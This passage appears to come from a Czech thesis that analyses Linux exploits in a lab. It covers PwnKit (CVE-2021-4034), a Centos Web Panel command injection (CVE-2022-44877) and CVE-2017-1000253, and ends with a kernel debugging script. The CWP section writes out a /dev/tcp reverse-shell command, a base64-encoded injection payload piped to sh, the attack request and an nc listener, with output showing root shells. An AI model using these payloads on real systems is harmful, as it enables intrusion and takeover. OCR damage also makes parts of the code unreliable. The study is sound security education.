Pole argv a envp jsou zobrazena na o b r á z k u 7.16. 

NULL "GCONV_PATH=./fake_exe" "PATH=GCONV_PATH=." "SHELL=x" "CHARSET=banana" NULL 

argv[0] envp[0] envp[1] envp[2] envp[3] envp[4] 

O b r á z e k 7.16: R o z l o ž e n í p o l e a r g v a e n v p p o m o d i f i k a c i . 

U d á l o s t č . 6 

Funkce validate_environment_variable kontroluje, zda n e m ů ž e bý t p r o m ě n n á p r o s t ř e d á 
zneuž i t a a nav íc kontroluje platnost t é t o p r o m ě n n é . P rogram pkexec pokraču j e ověřováním 
všech p r o m ě n n ý c h p r o s t ř e d í p ř e d a n ý c h programu. P ř i ověřování p r o m ě n n é p r o s t ř e d í S H E L L 
je na ř á d k u 404 z j i š těna n e p l a t n á hodnota t é t o p r o m ě n n é . Soubor uvedený v p r o m ě n n é 
S H E L L se nenacház í v ad re sá ř i /e tc/shel ls . N a ř á d k u 408 je zavo lána funkce g_printerr pro 
výpis chyby. D e f a u l t n í m k ó d o v á n í m pro výpis chyb ve funci g_printerr je U T F - 8 . P ř i spuš
t ěn í programu pkexec byla p r o m ě n n á p r o s t ř e d í C H A R S E T nastavena na hodnotu banana. 
P ř i výp i su chyby m u s í funkce g_printerr p řevés t kódován í chybové z p r á v y na kódování 
banana. P r o p ř e v o d ře tězce je vo lána funkce iconv_open. Funkce na zák ladě hodnoty v pro
m ě n n é p r o s t ř e d í G C O N V _ P A T H p r o h l e d á a d r e s á ř fake_exe a na zák ladě obsahu souboru 
gconv-modules vybere pro p ř e v o d knihovnu fake_module.so. P r o m ě n n á G C O N V _ P A T H 
byla v y t v o ř e n a d íky záp isu mimo hranice pole a nacház í v pol i envp na indexu 0. [26] 

382 s t a t i c gboolean 
383 validate_environment_variable (const gchar *key,) 
384 const gchar *value) 
385 { 
386 . . . 
400 /* special case $SHELL */ 
401 i f (g_strcmpO (key, "SHELL") == 0) 
402 { 
403 /* check i f i t ' s i n /etc/shells */ 
404 i f (!is_valid_shell (value)) 
405 { 
406 log_message (L0G_CRIT, TRUE, 
407 "The value for the SHELL variable was not 
408 found the /etc/shells f i l e " ) ; 
409 g_printerr ("\n" 
410 "This incident has been reported."); 
411 . . . 
412 > 
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413 > 

Výpis 7.18: V o l á n í f u n k c e g printerr. P ř e v z a t o ze z d r o j e [77]. 

U d á l o s t č . 7 

P ř i n a č t e n í knihovny jsou vo l án ím funkcí setuid, setgid a setegid zvýšena o p r á v n ě n í na 
úroveň root a ná s l edně je a k t u á l n í proces nahrazen procesem programu sh, k t e r ý je s p u š t ě n 
s o p r á v n ě n í m root. 

7 .3 .2 P o u ž i t í e x p l o i t u 

S p u š t ě n í exploi tu je uvedeno na o b r á z k u 7.17. P ř e d s p u š t ě n í m exploi tu je provedeno ověření 
verze n á s t r o j e pkexec a op rávněn í . Z hodnoty U I D je p a t r n é , že už iva te l spouš tě j íc í exploit 
m á o p r á v n ě n í user. P o dokončen í exploi tu je z í skáno o p r á v n ě n í root a hodnota U I D je rovna 
0. 

[user@local.host PwnKit]$ pkexec --verslon 
pkexec version 6.112 
[user@localhost PwnKit]$ i d 
uid=1060(user) gid=1606(user) groups=1606(user] 
[ use rglocalhost PwnKit]$ ./sxpl.sh 
Pwned 
sh-4.2# i d 
uid=@(root) gid=0(root) groups=0( root) , 1000 [user] 
sh-4.2# 

O b r á z e k 7.17: Ú s p ě š n é p o u ž i t í e x p l o i t u C V E - 2 0 2 1 - 4 0 3 4 

7.4 Exploit aplikace Centos Web Panel 7 (CVE-2022-44877) 

Explo i t využ ívá zranitelnosti ve skr ip tu login.php aplikace C W P (Centos Web Panel) 7 ve 
verzích do 0.9.8.1147 ( k r o m ě ) . Ú t o č n í k m ů ž e př i odes lán í p o ž a d a v k u na p ř ih lášen í vložit 
l ibovolný p ř íkaz o p e r a č n í h o s y s t é m u do hodnoty parametru login, p ř i čemž př i p ř í jmu tohoto 
p o ž a d a v k u apl ikac í C W P je p ř íkaz proveden o p e r a č n í m s y s t é m e m s o p r á v n ě n í m uživate le , 
pod k t e r ý m je aplikace C W P s p u š t ě n a . [14] [62] 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 9.8. [13] 
V t é t o kapitole je uveden popis aplikace Centos Web Pane l a dá le je vysvě t len pojem 

reverzní shell. 

7 .4 .1 C e n t o s W e b P a n e l 

Apl ikace Centos Web Panel slouží pro s p r á v u serverů p r o s t ř e d n i c t v í m grafického uživa
te l ského r o z h r a n í z o b r a z e n é h o ve w e b o v é m prohl ížeči . M e z i ne jvýznamějš í funkce aplikace 
p a t ř í nap ř ík l ad : [34] 

• sp ráva d a t a b á z í 

• volba preferovaného webového serveru (Apache, N G I N X , ...) 

• sp ráva D N S z á z n a m ů 

• p ř i z p ů s o b e n í zá lohování s y s t é m u 
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7 .4 .2 S h e l l 

Shell je program sloužící jako r o z h r a n í mezi už iva te l em a o p e r a č n í m s y s t é m e m . P a t ř í mezi 
typ p r o g r a m ů označované jako interprety. Shell pracuje ve smyčce n a z n a č e n é na o b r á z k u 
7.18. [20] 

Přečtení příkazu. 

Zobrazení 
výzvy. 

Interpretace 
příkazu. 

Provedení příkazu. 

O b r á z e k 7.18: Č i n n o s t p r o g r a m u s h e l l . P ř e v z a t o ze z d r o j e [20] 

Po p ř í jmu p ř íkazu je provedena interpretace p ř í k a z u a nás l edně je p ř íkaz proveden. P o 
proveden í p ř í kazu čeká shell na dalš í př íkazy. 

7 . 4 .3 R e v e r z n í s h e l l 

Reverzn í shell je uveden na o b r á z k u 7.19. 

ES S 

Není použit reverzní shell 

© 
Útočník zahajuje 

spojení 

Útočník Shell Cíl 
Firewall 

Je použit reverzní shell 
Cíl zahajuje 

spojení 

O b r á z e k 7.19: R e v e r z n í s h e l l . P ř e v z a t o ze z d r o j e [18] 

Reverzn í shell je v y t v o ř e n p r o v e d e n í m následuj íc í sekvence k roků : [18] 

• Ú t o č n í k vy tvoř í na k o n k r é t n í m por tu pos luchače . 

• Ú t o č n í k odešle na cílový s y s t é m payload, p ř i čemž payload je škodl ivý kód . [21] 

• Cílový s y s t é m odešle na s y s t é m ú t o č n í k a p o ž a d a v e k o p ř ipo jen í k pos luchač i . 

• Ú t o č n í k získá po vy tvo řen í spojení p ř í s t u p do cílového sys t ému . 
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7 .4 .4 P o d r o b n á a n a l ý z a e x p l o i t u 

Dekódován í zdro jového k ó d u aplikace je nelegálni . [62] V pří loze F je uveden P H P skript, 
k t e r ý je odhadovanou podobou aplikace. 

P ř i zas lán í p o ž a d a v k u se s p r á v n ý m př ih lašovac ím j m é n e m je zavo lána funkce escape-
shellarg. Tato funkce vloží j e d n o d u c h é uvozovky na z a č á t e k a konec ře tězce a existuj ící 
j e d n o d u c h é uvozovky n a h r a d í z á s t u p n ý m i ře tězci . Takto u p r a v e n ý ře tězec je m o ž n é p ř e d a t 
funkci exec nebo systém. P o p roveden í funkce escapeshellarg je proveden pokus o zápis ře
tězce do souboru p o m o c í funkce systém. N a začá t ek a konec tohoto zap i sovaného ře tězce 
jsou vloženy uvozovky, což způsob í s p u š t ě n í p ř í k a z u obsaženého v h o d n o t ě parametru login. 
[28] 

7 .4 .5 P o u ž i t í e x p l o i t u 

Z d ů v o d u kompl ikac í př i instalaci z r an i t e lné verze aplikace C W P b y l proveden ú t o k na 
P H P skript p o p s a n ý v kapitole 7.4.4. V t é t o kapitole jsou uvedeny kroky, k t e r é je t ř e b a 
provés t , aby by l ú t o k úspěšný. 

K r o k č . 1 

Vy tvořen í p ř í k a z u vy tváře j ícho reverzní shell: 

sh - i >& / d e v / t c p / 1 0 . 0 . 2 . 7 / 9 0 0 1 0>&1 

Výpis 7.19: P ř í k a z v y t v á ř e j í c í r e v e r z n í s h e l l 

Vo lba - i s p u s t í program shell v i n t e r a k t i v n í m rež imu. [24] 
Soubor /dev/ tcp/10.0.2 .7/9001 p ř e d s t a v u j e T C P spojení . C t e n í ze souboru p ředs t avu je 

č ten í z T C P spojení a zápis do souboru p ř e d s t a v u j e zápis do T C P spojen í . P ř i záp i su je 
v y t v o ř e n o T C P spojen í na I P adresu 10.0.2.7 a port 9001. [9] [17] 

Ř e t ě z c e m > & je provedeno p ře směrován í s t a n d a r d n í h o v ý s t u p u a s t a n d a r d n í h o chybo
vého v ý s t u p u programu shell do souboru /dev/ tcp/10.0 .2 .7 /9001. Ř e t ě z c e m 0>&1 je du-
pl ikován deskriptor souboru s t a n d a r d n í h o vstupu tak, aby o d p o v í d a l deskriptoru souboru 
s t a n d a r d n í h o v ý s t u p u . S t a n d a r d n í vstup programu shell je tedy p ř e s m ě r o v á n na soubor 
/dev/ tcp/10.0 .2 .7 /9001. Výs ledné p ře směrován í s t a n d a r d n í c h v ý s t u p ů a vs tupu programu 
shell je z n á z o r n ě n o na o b r á z k u 7.20. [2] 

standardní 
vstup 

standardní 
výstup 

standardní 
výstup /dev/tcp/10.0.2.7/9001 

standardní 
výstup /dev/tcp/10.0.2.7/9001 

standardní 
výstup 

standardní 
chybový výstup 

O b r á z e k 7.20: P ř e s m ě r o v á n í v ý s t u p ů a v s t u p u d o s o u b o r u p ř e d s t a v u j í c í h o T C P 
s p o j e n í . 
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K r o k č . 2 

Zakódován í p ř í k a z u vytváře j íc ího reverzní shell do f o r m á t u base64: 

echo -n 'sh - i >& /dev/tcp/10.0.2.7/9001 0>&1' I base64 
Výpis 7.20: Zakódování příkazu do formátu base64 

Výsledný ře tězec ve f o r m á t u base64 vznik lý z a k ó d o v á n í m př íkazu : 

c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yLjcvOTAwMSAwPiYx 
Výpis 7.21: Zakódovaný výraz do formátu base64 

K r o k č . 3 

Vy tvořen í ře tězce , k t e r ý bude p o u ž i t jako hodnota parametru login. Tento ře tězec p ř e d s t a 
vuje škodl ivý payload odes laný na cílový sys tém: 

$(echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yLj cvOTAwMSAwPiYx${IFS>I 
${IFS>base64${IFS>-d${IFS>I${IFS>sh) 

Výpis 7.22: Škodlivý payload 

K r o k č . 4 

Vy tvořen í p o ž a d a v k u na př ih lášen í , j ehož součás t í bude škodl ivý payload v y t v o ř e n ý v před
chozím kroku. 

POST /cwp-vuln-sim.php?login=$(echo${IFS} 
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC 
4yLjcvOTAwMSAwPiYx${IFS}I 
${IFS}base64${IFS}-d${IFS}I${IFS}sh) HTTP/1.1 
Host: 10.0.2.9:8181 
User-Agent: Mozilla/5.0 (XII; Linux x86_64; rv:102.0) 
Gecko/20100101 Firefox/102.0 
Accept: text/html,application/xhtml+xml,application 
/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 39 
Origin: http://10.0.2.9:8181 
Connection: keep-alive 
Referer: http: //10.0.2.9:8181/cwp-vuln-sim. php? 
login=$(echo${IFS} 
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC 
4yLjcvOTAwMSAwPiYx${IFS}I 
${IFS}base64${IFS}-d${IFS}I${IFS}sh) 
Upgrade-Insecure-Requests: 1 

username=root&password=toor&login=Login 
Výpis 7.23: Požadavek na přihlášení 

92 

http://10.0.2.9:8181


K r o k č . 5 

Eskalace o p r á v n ě n í na ú roveň root na cí lovém s y s t é m u , kde je s p u š t ě n z ran i t e lný php skript. 
P ř i ú s p ě š n é m proveden í ú t o k u bude moci ú t o č n í k použ í t reverzní shell k p rováděn í p ř í kazů 
s o p r á v n ě n í m uživate le root na cí lovém sys t ému . 

K r o k č . 6 

S p u š t ě n í pos luchače v s y s t é m u ú t o č n í k a . 

nc —nvlp 9001 

Výpis 7.24: S p u š t ě n í p o s l u c h a č e 

P ř í k a z nc (Netcat) slouží pro č ten í nebo zápis z /do síťových spo jen í s p o u ž i t í m protokolu 
T C P nebo U D P . [31] 

K r o k č . 7 

Spušěn í P H P serveru na cí lovém sys t ému . 

php —S 10.0.2.9:8181 cwp—vuln—sim.php 

Výpis 7.25: S p u š t ě n í P H P s e r v e r u 

K r o k č . 8 

Odes lán í p o ž a d a v k u na cílový s y s t é m . P o ž a d a v e k je odes l án ap l ikac í B u r p Su i t ě d o s t u p n é 
v o p e r a č n í m s y s t é m u K a l i L i n u x . P ř i př i je t í je v y t v o ř e n reverzní shell. V s y s t é m u ú t o č n í k a 
je m o ž n é s p o u š t ě t p ř íkazy na cí lovém sys t ému . 

N a o b r á z k u 7.21 je uvedeno s p u š t ě n í n á s t r o j e Netcat, odes lán í p o ž a d a v k u p o m o c í pro
gramu B u r p Su i t ě a v y t v o ř e n ý reverzní shell, ve k t e r é m je p o m o c í p ř í kazu id provedeno 
ověření o p r á v n ě n í už iva te le root. Ú t o č n í k tedy m ů ž e na cí lovém s y s t é m u p rovádě t p ř íkazy 
s o p r á v n ě n í m root. 

Request 

Pretty Raw Hex @ , r = 

1 POST /cwp-vuln-sim.phprLogin= 
$( echo${IFS}c2ggLWkgPiYgL2Rldi9QY3Avm"AuMC4yLj cvOTAwMSAwPiYx${IFS} | f-[IFS}b 
ase64$-[IFS}-d${IFS} | H l F S j b a s h ) HTTP/1.1 

2 Host: 10 .0 .2 ,9 :3131 
3 User-Agent: M o z i l l a / 5 . B |K11; Linux x86_64j rw:lG2.Q) Geckn/2Q1GG1Q1 

F i r e f o x / 1 0 2 . 0 
4 Accept : 

t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l j q = Q . 9 J i m a g e / a v i f J i mage/web 
pj * / * ; q=0 .3 

5 Accept-Language: en-US,en;q=Q.5 
G Accept-Encoding: g z i p , d e f l a t e 
7 Content-Type: appl icat ion/*-www-form-urlencoded 
B Content-Length: 39 
9 O r i g i n ; h t t p ; / / 1 0 , 0 . 2 . 9 : 3 1 3 1 

10 Connec t ion : keep-a l i ve 
LI Re fe re r : 

ht-tp://10.0,2.9:8181/cwp-vuln-si i i ,php? ' login-$[echo${IFS>!:2ggLWkgPiYgL2Rldi 
9QY3AifMTAuMC4yLjcvOTAwMSAwPiYx${IFS> | $-[IFS}base64${IFS>-d$-[IFS> | ${IFS}ba5h ) 

12 Upgrade-Insecure-Requests: 1 
L3 
14 Li£ernaiJie=roQt&pa££WQrd=tQor&lQgin=Login 

• kaligkali:-
FiLe Actions Edit View Help 

|—{kali® kali>-[-] 
1— $ nc - n v l p 9001 
l i s t e n i n g on [any] 9001 ... 
connect t o [ 1 0 . 0 . 2 . 7 ] from (UNKNOWN) [ 1 0 . 0 . 2 . 9 ] 53005 
sh-4.2!t i d 
i d 
u i d = 0 ( r o o t ) g i d = 0 ( r o o t ) groups=0(root} 
sh-4.2!t | 

O b r á z e k 7.21: S p u š t ě n í n á s t r o j e N e t c a t , o d e s l á n í p o ž a d a v k u p o m o c í p r o g r a m u 
B u r p S u i t ě a v y t v o ř e n ý r e v e r z n í s h e l l , ve k t e r é m j e p o m o c í p ř í k a z u id p r o v e d e n o 
o v ě ř e n í o p r á v n ě n í u ž i v a t e l e r o o t . 
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7.5 Stře t zásobníku - (CVE-2017-1000253) 

Zranitelnost je z p ů s o b e n a funkcí load_elf_binary, k t e r á nealokuje dostatek m í s t a př i mapo
vání b i n á r n í h o souboru do p a m ě t i . P ř i př idě lování adres shora do lů a povolené funkci CON-
FIG_AR CHBINFMTELFRA ND OMIZEPIE jsou n ě k t e r é segmenty P T L O A D b i 
n á r n í h o souboru P I E (Posit ion Independent Executable) n a m a p o v á n y nad adresu mm-
>mmap_base do prostoru v p a m ě t i , k t e r ý m á slouži t jako mezera mezi b i n á r n í m souborem 
a zásobn íkem. [13] [76] [15] 

B i n á r n í soubor P I E je př i k a ž d é m s p u š t ě n í n a m a p o v á n do j iné oblasti p a m ě t i a nejsou 
p ř e d e m z n á m y n a p ř í k l a d adresy funkcí v p a m ě t i . 

Z ran i t e lné jsou verze j á d r a od 2.6.25 (včetně) do 3.2.70 (k romě) , od 3.3 (včetně) do 
3.4.109 (k romě) , od 3.5 (včetně) do 3.10.77 (k romě) , od 3.11 (včetně) do 3.12.43 (k romě) , 
od 3.13 (včetně) do 3.14.41 (k romě) , od 3.15 (včetně) do 3.16.35 (k romě) , od 3.17 (včetně) 
do 3.18.14 (k romě) , od 3.19 (včetně) do 3.19.7 (k romě) , od 4.0 (včetně) do 4.0.2 (k romě) . 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 7.8. 

7 .5 .1 S t r u č n á a n a l ý z a e x p l o i t u 

K ó d exploi tu u v e d e n ý v př í loze G p ř í jmá jako argument b i n á r n í soubor použ i t ý pro kol iz i 
se zá sobn íkem. P r o p roveden í ú t o k u b y l zvolen b i n á r n í soubor ping u v e d e n ý na o b r á z k u 
7.22. [39] 

Stack 

smashed .dynamic 

ping 

Memory Map 

Heap 

ping 

O b r á z e k 7.22: M a p o v á n í b i n á r n í h o s o u b o r u p i n g d o o b l a s t i z á s o b n í k u . P ř e v z a t o 
ze z d r o j e [39] 

P ř i p roveden í exploi tu je zásobn ík rozš í řen tak, aby se p ř ek rýva l s n a m a p o v a n ý m b i 
n á r n í m souborem. Rozš í řen í z á sobn íku je dosaženo p r o s t ř e n i c t v í m souboru Id.so, k t e r ý na 
zásobn íku alokuje paměť pro k a ž d o u n e z n á m o u volbu, k t e r á se nacház í v p r o m ě n n é p r o s t ř e d í 
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LDDEBUG. D o sekce .dynamic b i n á r n í h o souboru je vložen odkaz na ře tězec obsahuj íc í 
cestu ke kn ihovně , kterou m á exploit spustit a d o s á h n o u t tak zvýšení op rávněn í . [52] 

7 .5 .2 P o u ž i t í e x p l o i t u 

Po s p u š t ě n í se exploit pokouš í o dosažen í p o ž a d o v a n é h o p ř e k r y v u b i n á r n í h o souboru se 
zásobn íkem. Tento proces m ů ž e trvat několik hodin, t a k ž e b y l výpis na o b r á z k u 7.23 zk rácen 
záp i sem t ř í teček. 

[user@~localhost Desktop]$ unams -msr 
Linux 3.10.0-514.21.2.el7.x86_64 x86_64 
[userglocalhost Desktop]$ ./cve-2017-10OO253-exploit /usr/bin/ping 
argv_size 101903 
smash_size 36864 
hi_smash_size 18432 
lo_smash_size 18432 
p r o b a b i l i t y 1/16028 
t ry 1 1.369849 exited 2 
tr y 2 1.057508 exited 2 
tr y 3 1.080084 exited 2 
t ry 4 1.069042 exited 2 
t ry 5 1.070841 exited 2 

tr y 3414 1.061916 exited 2 
tr y 3415 1.011066 exited 2 
tr y 3416 1.025864 exited 2 
tr y 3417 1.038867 exited 2 
Pid: 523Q 
Uid: 1000 1000 1000 
Gid: 1000 1OO0 1000 
Caplnh: OOOOOOOOOOOOOOOO 
CapPrm: OO00000OOO003000 
CapEff: OOOOOOOOOOOOOOOO 

O b r á z e k 7.23: Ú s p ě š n é p o u ž i t í e x p l o i t u C V E - 2 0 1 7 - 1 0 0 0 2 5 3 

Po ú s p ě š n é m proveden í exploi tu je zobrazen výpis s chopnos t í procesu, ident i f iká tory 
uživate le a skupiny a ident i f iká tor procesu. Mís to výp i su ident i f iká torů a schopnos t í by 
bylo m o ž n é provés t l ibovolný kód s o p r á v n ě n í m uživa te le root v p ř í p a d ě , že by b i n á r n í 
soubor ping by l S U I D b i n á r n í m souborem. 
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Kapitola 8 

Závěr 

V ú v o d n í c h kap i to l ách jsou uvedeny informace p o t ř e b n é pro snazš í p o c h o p e n í de t a i ln í ana
lýzy exp lo i tů . Následuj íc í kapi toly byly věnovány t é m a t ů m kybe rne t i cké bezpečnos t i , k t e ré 
s exploity souvisí . V pos ledn í kapitole se nacház í de ta i ln í a n a l ý z a explo i tů . 

P ro p roveden í de ta i ln í ana lýzy exp lo i tů bylo n u t n é nastudovat architekturu o p e r a č n í h o 
s y s t é m u L inux , možnos t i jeho ladění , č innos t procesoru př i vykonáván í programu a t aké 
obecné související pojmy, mezi k t e r é p a t ř í v i r t u á l n í paměť procesu, proces, v l ákno , rozložení 
p a m ě t i procesu. P r o p o c h o p e n í funkce všech ana lyzovaných exp lo i tů bylo z á s a d n í pochopit 
funkci t r a d i č n í h o modelu o p r á v n ě n í o p e r a č n í h o s y s t é m u L inux . 

P ř i ana lýze exp lo i tů CVE-2014-3153 b y l v y t v o ř e n SystemTap skript , d íky k t e r é m u bylo 
př i p rováděn í exp lo i tů m o ž n é sledovat obsah p a m ě t i a t a k é operace p rováděné j á d r e m ope
račn ího s y s t é m u př i s p u š t ě n í exp lo i tů . B y l o t a k é n u t n é nastudovat funkci synchron izačn ího 
mechanizmu označovaného jako futex a související zdrojové k ó d y j á d r a . 

P ř i ana lýze exp lo i tů CVE-2016-5195 b y l t a k é v y t v o ř e n SystemTap skript pro účely 
ladění j á d r a a s ledování volaných funkcí a p rováděných ope rac í b ě h e m s p u š t ě n í explo i tů . 
Dá le bylo n u t n é nastudovat zdrojové k ó d y j á d r a související se záp i sem dat do v i r t uá ln í 
p a m ě t i procesu a s t í m související ochranu p a m ě t i . 

P ř i ana lýze exp lo i tů CVE-2021-4034 bylo n u t n é čá s t ečně nastudovat zdro jový kód ná
stroje pkexec. Dů lež i t é bylo t a k é p o c h o p e n í funkce iconv_open, k t e r á h r á l a z á s a d n í rol i p ř i 
ú s p ě š n é m proveden í explo i tů . 

P ř i ana lýze exp lo i tů CVE-2022-44877 bylo n u t n é zjistit informace o apl ikaci Centos 
Web Panel, k t e r é se zranitelnost t ýka la . B y l y z j iš těny informace o d o s t u p n ý c h nás t ro j í ch v 
o p e r a č n í m s y s t é m u K a l i L i n u x , p ř i čemž pro ú t o k by l v y b r á n n á s t r o j Burp Suite. Dá le bylo 
n u t n é pochopit pojmy jako je reverzní shell, shell, H T T P požadavek , p ř e směrován í v s t u p ů 
a v ý s t u p ů a z á k l a d n í syntaxi j azyka P H P . 

A n a l ý z a pos l edn ího exp lo i tů CVE-2017-1000253 byla značně kompl ikovaná a je tedy 
provedena jen jeho s t r u č n á ana lýza . K p o c h o p e n í exp lo i tů bylo n u t n é nastudovat v i r t uá ln í 
paměť procesu a její rozložení a bylo n u t n é pochopit v ý z n a m P I E b i n á r n í h o souboru. 

Z de ta i ln í ana lýzy exp lo i tů vyplývá , že zdánl ivě m a l é chyby v k ó d u aplikace mohou 
mí t vážné b e z p e č n o s t n í důs ledky. T y t o m a l é chyby mohou v k o n e č n é m důs l edku způsob i t 
z ískání o p r á v n ě n í root v s y s t é m u nebo zápis do souboru u r č e n é h o pouze pro č ten í , k t e r ý je 
navíc v l a s t n ě n j i n ý m už iva te lem. 

N a zák ladě t é t o p r á c e by bylo m o ž n é pok račova t a n a l ý z o u dalš ích exp lo i tů z a m ě ř e n ý c h 
na o p e r a č n í s y s t é m Cen tOS 7 a jeho aplikace. Dalš í m o ž n o s t í by mohla bý t deta i lnějš í 
a n a l ý z a exp lo i tů CVE-2017-1000253 a dalš ích exp lo i tů p o d o b n é h o typu. Dá le by t a k é mohly 
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být ana lyzovány exploity j iných ope račn ích s y s t é m ů nebo apl ikac í k t e r é byly v p r ů b ě h u t é t o 
p ráce zmíněny. 
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Příloha A 

Exploit CVE-2014-3153 

K ó d exploi tu je d o s t u p n ý na adrese uvedené ve zdroji [50]. 
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Pfiloha B 

SystemTap skript CVE-2014-3153 

global bugged_waiter_ptr; 
global i ; 

u 
#include <linux/uio.h> 
#include <kernel/rtmutex_common.h> 
#include <linux/plist.h> 
#include <linux/types.h> 
#include <linux/time.h> 

void print_iter_waiter(struct plist_node * i t e r ) 
{ 

char node_list_addr_buf [] = KERN_INF0 "node_list addr: °/op\n" 
char prio_list_addr_buf [] = KERN_INF0 " p r i o _ l i s t addr: 7„p\n" 
char prio_buf [] = KERN_INF0 "prio: °/.d\n"; 
char node_list_prev_buf [] = KERN_INF0 "node_list_prev: yop\n" 
char node_list_next_buf [] = KERN_INF0 "node_list_next: °/„p\n". 
char prio_list_prev_buf [] = KERN_INF0 "prio_list_prev: 0/Op\n" 
char prio_list_next_buf [] = KERN_INF0 "prio_list_next: °/„p\n" 

printk("***\n"); 
printk(prio_buf, iter->prio); 
printk(node_list_prev_buf, iter->node_list.prev) 
printk(node_list_next_buf, iter->node_list.next) 
printk(prio_list_prev_buf, iter->prio_list.prev) 
printk(prio_list_next_buf, iter->prio_list.next) 
printk(node_list_addr_buf, &iter->node_list); 
printk(prio_list_addr_buf, &iter->prio_list); 
printk("***\n"); 

} 

'/.} 

function get_plist_node_size() 

u 
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STAP_RETURN(sizeof(struct plist_node)); 
'/.} 

function get_rt_mutex_waiter_size() 
U 

STAP_RETURN(sizeof(struct rt_mutex_waiter)); 
%} 

function get_iovec_size() 
U 

STAP_RETURN(sizeof(struct iovec)); 
'/.} 

function get_list_head_size() 
u 

STAP_RETURN(sizeof(struct list_head)); 
%} 

function get_int_size() 
'/.{ 

STAP_RETURN(sizeof(int)); 
%} 

function print_addr_limit(addr_limit_arg:long, tid:long, time_us:long) 
li 

unsigned long *addr_limit = (unsigned long*)STAP_ARG_addr_limit_arg; 
char tid_buf[] = KERN_INF0 " t i d : 0/„ld\n"; 
char time_buf[] = KERN_INF0 "time: 0/„ld\n"; 
char addr_limit_buf [] = KERN_INF0 "addr_limit: 0/„p\n"; 

p r i n t k C \n"); 
printk(tid_buf, STAP_ARG_tid); 
printk(time_buf, STAP_ARG_time_us); 
printk(addr_limit_buf, *addr_limit); 
p r i n t k C \n"); 

'/.} 

function print_lock_wait_list(val:long, tid:long, time_us:long) 
li 

struct plist_head *head = (struct plist_head *)STAP_ARG_val; 
struct plist_node * f i r s t = p l i s t _ f i r s t ( h e a d ) ; 
struct plist_node * i t e r = f i r s t ; 
char tid_buf[] = KERN_INF0 " t i d : y„ld\n"; 
char time_buf[] = KERN_INF0 "time: 0/„ld\n"; 
int i = 0; 

p r i n t k C \n"); 
printk(tid_buf, STAP_ARG_tid); 
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printk(time_buf, STAP_ARG_time_us); 

do { 

pr i n t _ i t e r _ w a i t e r ( i t e r ) ; 
i t e r = l i s t _ e n t r y ( i t e r - > p r i o _ l i s t . n e x t , struct plist_node, 
p r i o _ l i s t ) ; 
i++; 

} while ( i t e r != f i r s t && i < 10); 

printk(" \n"); 
%y 
function print_waiter_with_addr(waiter_ptr) 
{ 

p r i n t f (" \n"); 
prio = @cast(waiter_ptr, "struct rt_mutex_waiter")->list_entry->prio; 
node_list_next = @cast(waiter_ptr, "struct rt_mutex_waiter")-> 
list_entry->node_list->next; 
node_list_prev = @cast(waiter_ptr, "struct rt_mutex_waiter")-> 
list_entry->node_list->prev; 
pri o _ l i s t _ n e x t = @cast(waiter_ptr, "struct rt_mutex_waiter")-> 
list_entry->prio_list->next; 
p r i o _ l i s t _ p r e v = @cast(waiter_ptr, "struct rt_mutex_waiter")-> 
list_entry->prio_list->prev; 

printf("rt_waiter:\n"); 
p r i n t f ("prio: °/0d\n", pr i o ) ; 
p r i n t f ("node_list_prev: °/0p\n", node_list_prev); 
pr i n t f ("node_list_next: °/0p\n", node_list_next); 
pr i n t f ("prio_list_prev: °/0p\n", p r i o _ l i s t _ p r e v ) ; 
p r i n t f ("prio_list_next: °/0p\n", p r i o _ l i s t _ n e x t ) ; 
p r i n t f (" \n"); 

} 

probe begin 
{ 

print("running...\n"); 
p r i n t f ( " * * * * INFO ****\n"); 
pr i n t f ("struct iovec size: °/0d\n", get_iovec_size ()); 
p r i n t f ("struct rt_mutex_waiter size: °/0d\n", 

get_rt_mutex_waiter_size()); 
pr i n t f ("struct plist_node size: °/0d\n", get_plist_node_size ()); 
p r i n t f ("struct list_head size: °/0d\n", get_list_head_size ()); 
p r i n t f ("sizeof i n t : °/0d\n", get _ i n t _ s i z e ( ) ) ; 
p r i n t f ( " * * * * * * * * * * * * * * \ i i " ) ; 

} 
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\ n n ) . 

task_blocks_on_rt_mutex called (row 414) ...\n"); 
t i d : 7„d\n", t i d O ) ; 
time: °/0ld\n", gettimeofday_us()); 
added l i s t entry: yos\n", $waiter->list_entry$$); 

\ n n ) . 

probe kernel.statement("task_blocks_on_rt_mutex@rtmutex.c:414") 
{ 

i f (pid() == $1) 
{ 

print_lock_wait_list(&($lock->wait_list), t i d ( ) , 
gettimeofday_us()); 

print_addr_limit($waiter->list_entry->node_list->prev, 
t i d ( ) , gettimeofday_us()); 

p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 

} 
} 

probe kernel.statement("futex_wait_requeue_pi@futex.c:2440") 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 
printf("futex_wait_requeue_pi called (row 2440) ...\n"); 
printf ("tid: 0/„d\n", t i d O ) ; 
printf ("time: y old\n", gettimeofday_us()); 
bugged_waiter_ptr = &($rt_waiter); 
printf (" \n"); 

} 

} 

probe kernel.function("verify_iovec").call 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 
printf("verify_iovec called ...\n"); 
printf ("tid: 0/„d\n", t i d O ) ; 
pri n t f ("time: °/0ld\n", gettimeof day _us ()); 

printf ("iovec addr: °/0p\n", $iov); 
printf (" \n"); 

} 

} 

probe kernel.statement("verify_iovec@iovec.c:61") 
{ 

i f (pid() == $1) 
{ 
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printf (" \n"); 
printf("verify_iovec called (row 61) ...\n"); 
printf ("tid: °/„d\n", t i d ( ) ) ; 
p r i n t f ("time: °/0ld\n", gettimeof day_us ()); 

i = 0; 
while ( i < 8) 
{ 

prin t f ("index: °/„d\n", i ) ; 
prin t f ("iov_base_addr: °/0p\n", &($iov[i]->iov_base)); 
pri n t f ("iov_base: °/0p\n", $iov [i] ->iov_base); 
pri n t f ("iov_len_addr: °/0p\n", &($iov[i]->iov_len)); 
pri n t f ("iov_len: °/0p\n", $iov [i]->iov_len); 
i++; 

} 

printf (" \n"); 
} 

